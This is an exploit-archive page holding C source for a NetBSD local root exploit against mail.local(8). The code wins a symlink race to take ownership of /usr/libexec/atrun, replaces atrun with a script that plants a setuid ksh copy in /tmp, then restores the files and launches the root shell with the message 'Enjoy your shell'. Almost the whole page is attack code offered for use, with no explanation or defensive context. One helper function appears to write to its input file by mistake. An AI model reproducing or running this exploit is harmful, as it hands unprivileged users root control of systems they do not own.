Home / os / winmobile

NetBSD mail.local(8) Local Root

Posted on 23 July 2016

// Source: http://akat1.pl/?id=2 #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <stdlib.h> #include <string.h> #include <err.h> #include <sys/wait.h> #define ATRUNPATH "/usr/libexec/atrun" #define MAILDIR "/var/mail" static int overwrite_atrun(void) { char *script = "#! /bin/sh " "cp /bin/ksh /tmp/ksh " "chmod +s /tmp/ksh "; size_t size; FILE *fh; int rv = 0; fh = fopen(ATRUNPATH, "wb"); if (fh == NULL) { rv = -1; goto out; } size = strlen(script); if (size != fwrite(script, 1, strlen(script), fh)) { rv = -1; goto out; } out: if (fh != NULL && fclose(fh) != 0) rv = -1; return rv; } static int copy_file(const char *from, const char *dest, int create) { char buf[1024]; FILE *in = NULL, *out = NULL; size_t size; int rv = 0, fd; in = fopen(from, "rb"); if (create == 0) out = fopen(dest, "wb"); else { fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR); if (fd == -1) { rv = -1; goto out; } out = fdopen(fd, "wb"); } if (in == NULL || out == NULL) { rv = -1; goto out; } while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) { if (fwrite(&buf, 1, size, in) != 0) { rv = -1; goto out; } } out: if (in != NULL && fclose(in) != 0) rv = -1; if (out != NULL && fclose(out) != 0) rv = -1; return rv; } int main() { pid_t pid; uid_t uid; struct stat sb; char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf; umask(0077); login = getlogin(); if (login == NULL) err(EXIT_FAILURE, "who are you?"); uid = getuid(); asprintf(&mailbox, MAILDIR "/%s", login); if (mailbox == NULL) err(EXIT_FAILURE, NULL); if (access(mailbox, F_OK) != -1) { /* backup mailbox */ asprintf(&mailbox_backup, "/tmp/%s", login); if (mailbox_backup == NULL) err(EXIT_FAILURE, NULL); } if (mailbox_backup != NULL) { fprintf(stderr, "[+] backup mailbox %s to %s ", mailbox, mailbox_backup); if (copy_file(mailbox, mailbox_backup, 1)) err(EXIT_FAILURE, "[-] failed"); } /* backup atrun(1) */ atrun_backup = strdup("/tmp/atrun"); if (atrun_backup == NULL) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] backup atrun(1) %s to %s ", ATRUNPATH, atrun_backup); if (copy_file(ATRUNPATH, atrun_backup, 1)) err(EXIT_FAILURE, "[-] failed"); /* win the race */ fprintf(stderr, "[+] try to steal %s file ", ATRUNPATH); switch (pid = fork()) { case -1: err(EXIT_FAILURE, NULL); /* NOTREACHED */ case 0: asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s " "2> /dev/null", login); for(;;) system(buf); /* NOTREACHED */ default: umask(0022); for(;;) { int fd; unlink(mailbox); symlink(ATRUNPATH, mailbox); sync(); unlink(mailbox); fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR); close(fd); sync(); if (lstat(ATRUNPATH, &sb) == 0) { if (sb.st_uid == uid) { kill(pid, 9); fprintf(stderr, "[+] won race! "); break; } } } break; } (void)waitpid(pid, NULL, 0); if (mailbox_backup != NULL) { /* restore mailbox */ fprintf(stderr, "[+] restore mailbox %s to %s ", mailbox_backup, mailbox); if (copy_file(mailbox_backup, mailbox, 0)) err(EXIT_FAILURE, "[-] failed"); if (unlink(mailbox_backup) != 0) err(EXIT_FAILURE, "[-] failed"); } /* overwrite atrun */ fprintf(stderr, "[+] overwriting atrun(1) "); if (chmod(ATRUNPATH, 0755) != 0) err(EXIT_FAILURE, NULL); if (overwrite_atrun()) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] waiting for atrun(1) execution... "); for(;;sleep(1)) { if (access("/tmp/ksh", F_OK) != -1) break; } /* restore atrun */ fprintf(stderr, "[+] restore atrun(1) %s to %s ", atrun_backup, ATRUNPATH); if (copy_file(atrun_backup, ATRUNPATH, 0)) err(EXIT_FAILURE, "[-] failed"); if (unlink(atrun_backup) != 0) err(EXIT_FAILURE, "[-] failed"); if (chmod(ATRUNPATH, 0555) != 0) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] done! Don't forget to change atrun(1) " "ownership. "); fprintf(stderr, "Enjoy your shell: "); execl("/tmp/ksh", "ksh", NULL); return 0; }

 

TOP